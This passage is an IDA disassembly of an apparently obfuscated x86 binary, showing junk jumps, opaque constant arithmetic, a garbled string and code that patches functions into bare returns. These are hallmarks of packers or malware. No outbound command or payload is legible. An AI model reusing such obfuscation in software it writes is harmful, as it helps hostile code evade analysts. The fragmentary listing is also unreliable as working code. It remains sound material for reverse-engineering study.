		jmp	loc_43FE9D
; ---------------------------------------------------------------------------

loc_44B8E5:				; CODE XREF: sub_44952D+6F02j
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_4440FE
; END OF FUNCTION CHUNK	FOR sub_44952D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B8F4:				; CODE XREF: dviuq5id:00455846j
		jmp	nullsub_492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404D7

loc_44B8F9:				; CODE XREF: sub_4404D7+140ADj
		jmp	loc_444705
; END OF FUNCTION CHUNK	FOR sub_4404D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_44B8FE:				; CODE XREF: sub_43C4B5+14j
		jmp	loc_44EFD4
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_44B903:				; CODE XREF: sub_447ECD:loc_44319Dj
		call	sub_449EB7
		push	eax
		ror	eax, 15h
		mov	ds:dword_43F068, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_44B913:				; CODE XREF: sub_439A5E+6396j
		jmp	loc_43E7C7
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D52

loc_44B918:				; CODE XREF: sub_451D52j
		push	edi
		mov	edi, ebp
		jmp	loc_454FD4
; END OF FUNCTION CHUNK	FOR sub_451D52
; ---------------------------------------------------------------------------
		popf
		jmp	sub_447ADF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44B926:				; CODE XREF: sub_43FA59:loc_4546CFj
		pop	ecx
		or	ecx, 0E4E8136Dh
		xor	ecx, 0C5620B43h
; END OF FUNCTION CHUNK	FOR sub_43FA59
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_44B933:				; CODE XREF: sub_43FAE1:loc_439E9Dj
		add	eax, ecx
		pop	ecx
		push	ebx
		push	8473B013h
		jmp	loc_456A6B
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_411. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_44B942:				; CODE XREF: sub_453BE2:loc_4558FFj
		pop	eax
		sub	eax, ds:4000F1h
		xor	eax, 760C18CFh
		add	eax, 8BA0863Bh
		cmp	eax, 0C51F1B3Eh
		jmp	loc_447CD4
; END OF FUNCTION CHUNK	FOR sub_453BE2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_377. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_44B961:				; CODE XREF: sub_448424+17A8j
		push	esi
		push	8CACB930h
		pop	esi
		rol	esi, 0Fh
		xor	esi, 7BF9A2F2h
		and	esi, 986141DDh
		jmp	loc_458DAC
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
		jg	loc_444443
		jmp	loc_452E7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453642

loc_44B987:				; CODE XREF: sub_453642+3C1Cj
		jz	sub_45668B
		jmp	loc_455ECB
; END OF FUNCTION CHUNK	FOR sub_453642
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424D8

loc_44B993:				; CODE XREF: sub_4424D8-7705j
		xchg	eax, [ebp+0]
		shr	ebx, 2
		jmp	loc_44F667
; END OF FUNCTION CHUNK	FOR sub_4424D8

; =============== S U B	R O U T	I N E =======================================



sub_44B99E	proc near		; DATA XREF: sub_43C9A9+19075o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CFD7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0043E8A1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004409ED SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00441415 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441A80 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00441BA0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044246E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00442869 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004436C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444B59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445715 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044607C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447F51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044ABD8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044B2CB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044DD1C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044E520 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E759 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F134 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045032D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004528D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453D10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453EB0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045544E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455F61 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456649 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004574B5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00457BDD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00458A31 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00458B96 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00458FD4 SIZE 00000005 BYTES

		mov	al, [eax]
		jns	loc_456649
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_447F51
sub_44B99E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44B9B2:				; DATA XREF: sub_44358Do
		jz	loc_4479F0
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_441525
; START	OF FUNCTION CHUNK FOR sub_453BCF

loc_44B9C2:				; CODE XREF: sub_453BCF-4053j
		xchg	esi, ebp

loc_44B9C4:				; CODE XREF: dviuq5id:loc_44D4B9j
		jmp	loc_4542A8
; END OF FUNCTION CHUNK	FOR sub_453BCF
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_455B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F2F5

loc_44B9CF:				; CODE XREF: sub_44F2F5+31DEj
		cmp	ecx, 3505D872h
		jmp	loc_44B021
; END OF FUNCTION CHUNK	FOR sub_44F2F5

; =============== S U B	R O U T	I N E =======================================



sub_44B9DA	proc near		; CODE XREF: dviuq5id:004484B3j
					; dviuq5id:loc_455453p

; FUNCTION CHUNK AT 00445C59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447AB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B639 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F1E9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00454E6C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00459B70 SIZE 00000020 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	3F863FE4h
		pop	eax

loc_44B9E4:				; CODE XREF: sub_44EAC4:loc_4463A1j
		jmp	loc_459B70
sub_44B9DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459194

loc_44B9E9:				; CODE XREF: sub_459194-89D8j
		pop	ebx

loc_44B9EA:				; CODE XREF: sub_459194:loc_44EDA2j
		call	sub_456F43
		mov	edx, 0F75CA70h
		call	sub_449EB7
		push	eax
		ror	eax, 17h
		mov	ds:dword_44DF10, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_459194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF18

loc_44BA04:				; CODE XREF: sub_43FF18:loc_447D7Cj
		push	offset aPsh3UBUisB ; "PSh3}-î[Ë[º“ëé·B"
		jmp	loc_4521F9
; END OF FUNCTION CHUNK	FOR sub_43FF18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_44BA0E:				; CODE XREF: sub_450519:loc_43CA7Bj
		jge	loc_4513D0
		jmp	loc_459540
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_44BA19:				; CODE XREF: sub_4408FF-5AE4j
		xchg	ebp, [ebx]

loc_44BA1B:				; CODE XREF: sub_4408FF:loc_45801Fj
		mov	eax, [ebp-0Ch]
		mov	ds:dword_4489A0, eax
		mov	eax, [ebp-0Ch]
		call	sub_44FD21
; END OF FUNCTION CHUNK	FOR sub_4408FF
; START	OF FUNCTION CHUNK FOR sub_459BBA

loc_44BA2B:				; CODE XREF: sub_459BBA-E715j
		call	sub_444466
		mov	ds:dword_441E8C, eax
; END OF FUNCTION CHUNK	FOR sub_459BBA
; START	OF FUNCTION CHUNK FOR sub_43A101

loc_44BA35:				; CODE XREF: sub_459BBA-E72Aj
					; sub_43A101+1F940j ...
		mov	eax, ds:dword_441E8C
		call	sub_44E3BA
		mov	esp, ebp
		jmp	loc_4586E0
; END OF FUNCTION CHUNK	FOR sub_43A101
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_399. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44BA47:				; CODE XREF: dviuq5id:004500FDj
		jmp	nullsub_514
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_44BA4C:				; CODE XREF: sub_43C2DA+609Ej
		jmp	loc_44CB4F
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD79

loc_44BA51:				; CODE XREF: sub_43DD79+Aj
		pop	edx
		add	edx, 0B2EEE4B2h
		cmp	edx, 2A996C27h
		jmp	loc_448901
; END OF FUNCTION CHUNK	FOR sub_43DD79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_44BA63:				; CODE XREF: sub_44F38E-11CFAj
					; sub_4512BC-970j
		mov	esp, ebp
		xchg	esi, [esp+0]
		mov	ebp, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_44BA6C:				; CODE XREF: sub_459804-2419j
		jmp	loc_4544A4
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45082A

loc_44BA71:				; CODE XREF: sub_45082A+9j
		jmp	loc_44CF81
; END OF FUNCTION CHUNK	FOR sub_45082A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44875D

loc_44BA76:				; CODE XREF: sub_44875D+27EBj
		jmp	loc_44A64E
; END OF FUNCTION CHUNK	FOR sub_44875D

; =============== S U B	R O U T	I N E =======================================



sub_44BA7B	proc near		; DATA XREF: sub_45844D-1D26Ao
		push	ds:dword_44DE84
		retn
sub_44BA7B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AAE9

loc_44BA82:				; CODE XREF: sub_44AAE9+C213j
		jmp	loc_44A0BE
; END OF FUNCTION CHUNK	FOR sub_44AAE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_44BA87:				; CODE XREF: sub_44C07B+25C1j
		jmp	loc_44BB89
; END OF FUNCTION CHUNK	FOR sub_44C07B

; =============== S U B	R O U T	I N E =======================================



sub_44BA8C	proc near		; CODE XREF: sub_45844D-18FD3p
					; dviuq5id:00449329p

; FUNCTION CHUNK AT 0043FEC4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004519E2 SIZE 00000005 BYTES

		mov	eax, cs
		xor	al, al
		jmp	loc_4519E2
sub_44BA8C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_44BA95:				; CODE XREF: sub_44514D:loc_452603j
		push	595A112Dh
		pop	edx
		xor	edx, ds:4000F2h
		sub	edx, 95B79516h
		jmp	loc_43F008
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44BAAC:				; CODE XREF: sub_4525D0:loc_4599DEj
		jge	loc_45A0FB
		sbb	edi, esi
		ror	edx, 1Eh
		popf
		jmp	loc_4395C0
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_44BABD:				; CODE XREF: dviuq5id:0045845Fj
		sub	edx, ebp

loc_44BABF:				; CODE XREF: dviuq5id:loc_43D0A9j
		push	62557650h
		pop	eax
		sub	eax, 222007D7h
		or	eax, 2F25D8C4h
		xor	eax, 3D5C9755h
		sub	eax, 0CB7CD5DFh
		xor	eax, 86EC97C9h
		jmp	loc_444E79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456734

loc_44BAE8:				; CODE XREF: sub_456734:loc_441EDCj
		pop	ecx
		lea	eax, sub_44C20F
		mov	byte ptr [eax],	0C3h
		jmp	loc_444AA7
; END OF FUNCTION CHUNK	FOR sub_456734

; =============== S U B	R O U T	I N E =======================================



sub_44BAF7	proc near		; CODE XREF: sub_419430+94p
					; dviuq5id:00455A35j
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CF49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D0F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445A8E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044770E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044D516 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EBC4 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00455A3B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00455BDF SIZE 00000014 BYTES

		push	edx
		push	0FA6851A2h
		pop	edx
		and	edx, 0F799760Fh
		jmp	loc_44770E
sub_44BAF7	endp

; ---------------------------------------------------------------------------

loc_44BB09:				; CODE XREF: dviuq5id:0043AA8Bj
		jnb	loc_444FD1
		adc	ebp, 66EEAF8Ah
		xchg	esi, edx
		test	ecx, eax
		jmp	loc_456322
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_44BB1E:				; CODE XREF: sub_43D181:loc_447EA0j
		jz	loc_444333
		jmp	sub_439615
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------

loc_44BB29:				; CODE XREF: dviuq5id:00456942j
		mov	edi, 6B7CC8Dh

; =============== S U B	R O U T	I N E =======================================



sub_44BB2E	proc near		; CODE XREF: sub_44297Ep
		xchg	eax, [esp+0]
		pop	eax
		call	sub_44BB42
		jmp	ds:off_41D154
sub_44BB2E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44BB3D:				; CODE XREF: dviuq5id:00441172j
		jmp	loc_43DCCA

; =============== S U B	R O U T	I N E =======================================



sub_44BB42	proc near		; CODE XREF: sub_44BB2E+4p
					; sub_450981:loc_450812j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439442 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043C483 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00455869 SIZE 0000000B BYTES

		jnz	loc_439442
		jmp	loc_43C483
sub_44BB42	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_375. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44BB4E:				; CODE XREF: dviuq5id:0044DED1j
		jmp	loc_4454C9

; =============== S U B	R O U T	I N E =======================================



sub_44BB53	proc near		; CODE XREF: dviuq5id:00446045j
					; sub_454228-B276p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043974D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439F33 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004419F0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00445056 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004465DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F0EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044FDAC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00451102 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00451904 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045399B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00459CEC SIZE 00000018 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ds:dword_453D0C, eax

loc_44BB5C:				; CODE XREF: dviuq5id:loc_4399A5j
		cmp	ds:dword_453D0C, 0
		jnz	loc_445056
		jmp	loc_451904
sub_44BB53	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44BB6E:				; CODE XREF: dviuq5id:loc_43B7DFj
		jz	loc_450FD1
; START	OF FUNCTION CHUNK FOR sub_43BE7C

loc_44BB74:				; CODE XREF: sub_43BE7C+1Cj
		jmp	sub_4571A7
; END OF FUNCTION CHUNK	FOR sub_43BE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B89D

loc_44BB79:				; CODE XREF: sub_43B89D+1Aj
		jmp	nullsub_74
; END OF FUNCTION CHUNK	FOR sub_43B89D
; ---------------------------------------------------------------------------
		dw 0FE81h
		dd 1D760CCFh, 0FF9B44E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_44BB89:				; CODE XREF: sub_44C07B:loc_44BA87j
		mov	eax, 0B4B93D2h
		push	edx
		push	6FCE343Bh
		pop	edx
		jmp	loc_4436F5
; END OF FUNCTION CHUNK	FOR sub_44C07B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_44BB9A:				; CODE XREF: sub_455518:loc_452FC4j
		jge	loc_454859

loc_44BBA0:				; CODE XREF: dviuq5id:00451CCEj
		jmp	nullsub_289
; END OF FUNCTION CHUNK	FOR sub_455518
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FF3E

loc_44BBA5:				; CODE XREF: sub_44FF3E+Bj
		jmp	loc_446D73
; END OF FUNCTION CHUNK	FOR sub_44FF3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_44BBAA:				; CODE XREF: sub_443862+4B80j
		jmp	loc_443A81
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------
		sub	ecx, 41D72BC8h
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44BBB5:				; CODE XREF: sub_439013+40A7j
		add	esi, 0BD43B027h
		sub	eax, esi
		test	ebx, 0E83CC649h
		jmp	loc_454853
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
		rol	ebp, 1Ah
		jmp	sub_4404D7
; ---------------------------------------------------------------------------
		not	esi
		jmp	sub_45609C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D948

loc_44BBD7:				; CODE XREF: sub_44D948:loc_44501Dj
		mov	eax, [esp+0]
		push	edx
		push	offset loc_4454B7
		jmp	loc_449A48
; END OF FUNCTION CHUNK	FOR sub_44D948
; ---------------------------------------------------------------------------
		push	28C05DD3h
		pop	eax
		or	eax, 0A6FC447Fh
		xor	eax, 41F31847h
		add	eax, 0CA7E781Fh
		push	edi
		pushf
		push	0ADB98BF8h
		jmp	loc_4489A9
; ---------------------------------------------------------------------------

loc_44BC09:				; CODE XREF: dviuq5id:004505ADj
		jb	loc_441C8F

; =============== S U B	R O U T	I N E =======================================



sub_44BC0F	proc near		; CODE XREF: dviuq5id:00446AAEp

; FUNCTION CHUNK AT 0045A19E SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ds:dword_41D17C, eax
		lea	eax, nullsub_336
		mov	byte ptr [eax],	0C3h
		jmp	loc_45A19E
sub_44BC0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44BC27	proc near		; DATA XREF: .data:off_427848o
		push	offset loc_44C979
		jmp	nullsub_75
sub_44BC27	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_374. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44BC32:				; CODE XREF: dviuq5id:0044DF4Dj
		jmp	loc_43E2A7
; ---------------------------------------------------------------------------

loc_44BC37:				; CODE XREF: dviuq5id:0044C66Bj
		jmp	loc_4511D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_44BC3C:				; CODE XREF: dviuq5id:0043C552j
					; sub_44FCBC-5BCCj
		jmp	loc_445503
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_44BC41:				; CODE XREF: sub_454094-625Dj
		jnz	loc_4424FB
		jmp	loc_43EFC0
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_44BC4C:				; CODE XREF: sub_445437:loc_44F448j
		xchg	ecx, [esp+8+var_8]
		jmp	loc_459141
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_44BC54:				; CODE XREF: sub_448FC7+87DFj
					; sub_448FC7:loc_453586j
		call	sub_443C86

loc_44BC59:				; CODE XREF: sub_440898+C4C4j
		jmp	loc_450695
; END OF FUNCTION CHUNK	FOR sub_448FC7

; =============== S U B	R O U T	I N E =======================================



sub_44BC5E	proc near		; CODE XREF: dviuq5id:0044DB66p
					; dviuq5id:004534DEj
		xchg	edx, [esp+0]
		pop	edx
		pop	ebx
		lea	eax, nullsub_303
		call	sub_4467AE
sub_44BC5E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_459385

loc_44BC6E:				; CODE XREF: sub_459385-A89Dj
		jmp	loc_4582E1
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------

loc_44BC73:				; CODE XREF: dviuq5id:0043EF6Fj
		jmp	loc_44005A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_44BC78:				; CODE XREF: sub_4509F7:loc_44AFFCj
		jl	loc_4571F9

loc_44BC7E:				; CODE XREF: sub_452EE0+3j
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
		push	edi
		jmp	loc_4571F3
; ---------------------------------------------------------------------------
byte_44BC89	db 90h			; DATA XREF: sub_43F83A-1790o
; ---------------------------------------------------------------------------
		mov	eax, 6FDE1A91h
		push	ecx

loc_44BC90:				; CODE XREF: dviuq5id:0043E067j
		push	36B876A8h
		pop	ecx
		jmp	loc_44ED07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451F1E

loc_44BC9B:				; CODE XREF: sub_451F1E+10j
		mov	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
		jmp	loc_43F098
; END OF FUNCTION CHUNK	FOR sub_451F1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440A7F

loc_44BCAA:				; CODE XREF: sub_440A7F:loc_4583D0j
		mov	eax, [ebp+var_C]
		push	offset sub_43ACD6
		jmp	nullsub_320
; END OF FUNCTION CHUNK	FOR sub_440A7F
; ---------------------------------------------------------------------------
		sub	eax, 0ABB9DA5Ah
		rol	eax, 16h
		xor	eax, 0B548B4B3h
		jmp	loc_44FAF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439259

loc_44BCCB:				; CODE XREF: sub_439259j
		push	6B525DADh
		pop	eax
		jmp	loc_453D91
; END OF FUNCTION CHUNK	FOR sub_439259
; ---------------------------------------------------------------------------

loc_44BCD6:				; CODE XREF: dviuq5id:loc_44B153j
		add	edx, 3E61FE34h
; START	OF FUNCTION CHUNK FOR sub_449485

loc_44BCDC:				; CODE XREF: sub_449485-95EEj
		or	edx, 0DFFF2C9Ch
		sub	edx, 9C919326h
		add	edx, 91972C0Dh
		call	sub_449EB7
		jmp	loc_458E30
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------

loc_44BCF8:				; CODE XREF: dviuq5id:00456ED5j
		mov	byte ptr [eax],	0C3h
		jmp	loc_454050

; =============== S U B	R O U T	I N E =======================================



sub_44BD00	proc near		; CODE XREF: sub_419F50+2Ap
					; sub_419F50+5Dp ...
		call	sub_44BD0B
		jmp	ds:off_41D028
sub_44BD00	endp


; =============== S U B	R O U T	I N E =======================================



sub_44BD0B	proc near		; CODE XREF: dviuq5id:loc_449FB8j
					; sub_44A102+10j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C917 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043D11A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044023C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044214E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00445377 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00446139 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446B74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044829A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A5E5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044C0AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DCA6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004501C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004502A5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004555AF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0045561D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0045684C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00457FE8 SIZE 00000005 BYTES

		jnz	loc_44214E
		pop	edx
		mov	eax, [esp+0]
		push	ebp
		jmp	loc_44023C
sub_44BD0B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451BB7

loc_44BD1B:				; CODE XREF: sub_451BB7+1j
		mov	ecx, ebp
		push	offset loc_457A62
		jmp	loc_441114
; END OF FUNCTION CHUNK	FOR sub_451BB7

; =============== S U B	R O U T	I N E =======================================



sub_44BD27	proc near		; DATA XREF: sub_44BD0B-BACDo

; FUNCTION CHUNK AT 0043E9BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A390 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B803 SIZE 0000001D BYTES

		xchg	ebp, [esp+0]
		call	sub_43FEBB
		push	0F715ADB9h
		pop	eax
		and	eax, 63ADB4BDh
		xor	eax, 0A81515E1h

loc_44BD41:				; CODE XREF: sub_4463B7:loc_452FF2j
		jmp	loc_43E9BA
sub_44BD27	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_44BD46:				; CODE XREF: dviuq5id:0043A7E0j
					; sub_452D9B:loc_454F90j
		jnz	loc_44F1BB
		jmp	loc_458115
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------

loc_44BD51:				; CODE XREF: dviuq5id:loc_454FFCj
		jnz	loc_43C12B
		jmp	loc_44527A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44549E

loc_44BD5C:				; CODE XREF: sub_44549E+14j
		jl	loc_4492BF
; END OF FUNCTION CHUNK	FOR sub_44549E
; START	OF FUNCTION CHUNK FOR sub_459804

loc_44BD62:				; CODE XREF: sub_459804-EF8Aj
		jmp	loc_446B08
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
		and	edx, ecx
		jmp	loc_4492BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_44BD6E:				; CODE XREF: sub_44CBA2:loc_43ADE4j
		mov	[edx], al
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-24h]
		cmp	byte ptr [eax],	2Eh
		jnz	loc_439194
		jmp	loc_43F5B2
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_44BD84:				; CODE XREF: sub_446544+6258j
		jno	loc_43F13F
; END OF FUNCTION CHUNK	FOR sub_446544

; =============== S U B	R O U T	I N E =======================================



sub_44BD8A	proc near		; CODE XREF: sub_446544:loc_43B5FCj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439DB3 SIZE 00000006 BYTES
